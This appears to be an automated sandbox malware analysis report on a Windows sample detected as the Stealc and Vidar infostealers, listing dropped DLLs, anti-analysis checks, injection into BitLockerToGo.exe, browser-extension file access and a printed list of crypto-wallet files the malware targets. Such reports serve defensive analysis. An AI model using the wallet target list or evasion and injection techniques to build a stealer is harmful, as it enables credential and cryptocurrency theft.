Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

1_2_02769860

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-64616

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

API coverage: 9.3 %

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0275BE70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_027516D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_027516D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0275F6B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02763EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_02763EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0275DA80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0275E430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02764910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_02764910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0275DE10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_027638B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_027638B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02764570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_02764570
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0275ED20

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02767ED0 GetSystemInfo,wsprintfA,

1_2_02767ED0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, 00000000.00000002.1839715866.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareq

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_1-64604
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_1-64644
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_1-64623
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_1-65779
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_1-64601
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_1-64615
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_1-64379

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_0276B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_0276B33A

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_027545C0 VirtualProtect ?,00000004,00000100,00000000

1_2_027545C0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

1_2_02769860

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02769750 mov eax, dword ptr fs:[00000030h]

1_2_02769750

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02760250 strtok_s,GetProcessHeap,RtlAllocateHeap,StrStrA,lstrlen,StrStrA,lstrlen,StrStrA,lstrlen,StrStrA,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,strtok_s,lstrlen,memset,

1_2_02760250

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0276CEEA SetUnhandledExceptionFilter,	1_2_0276CEEA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0276B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0276B33A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0276AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0276AD48
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C82B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6C82B66C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C82B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C82B1F7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C9DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C9DAC62

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe PID: 2140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 2736, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2750000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2750000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02769600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_02769600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 501008	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2750000	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2751000	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 276E000	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 277B000	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 29AC000	Jump to behavior

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_6C82B341 cpuid

1_2_6C82B341

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

1_2_02767B90

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Queries volume information: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02768B60 GetSystemTime,

1_2_02768B60

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02767850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

1_2_02767850

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02767A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

1_2_02767A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 1.2.BitLockerToGo.exe.2750000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.227a000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.2418000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.23ca000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.23ca000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.227a000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.2418000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.BitLockerToGo.exe.2750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1843071659.0000000002418000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1842034533.00000000021D6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1843071659.000000000227A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1843071659.00000000023CA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 2736, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 2736, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
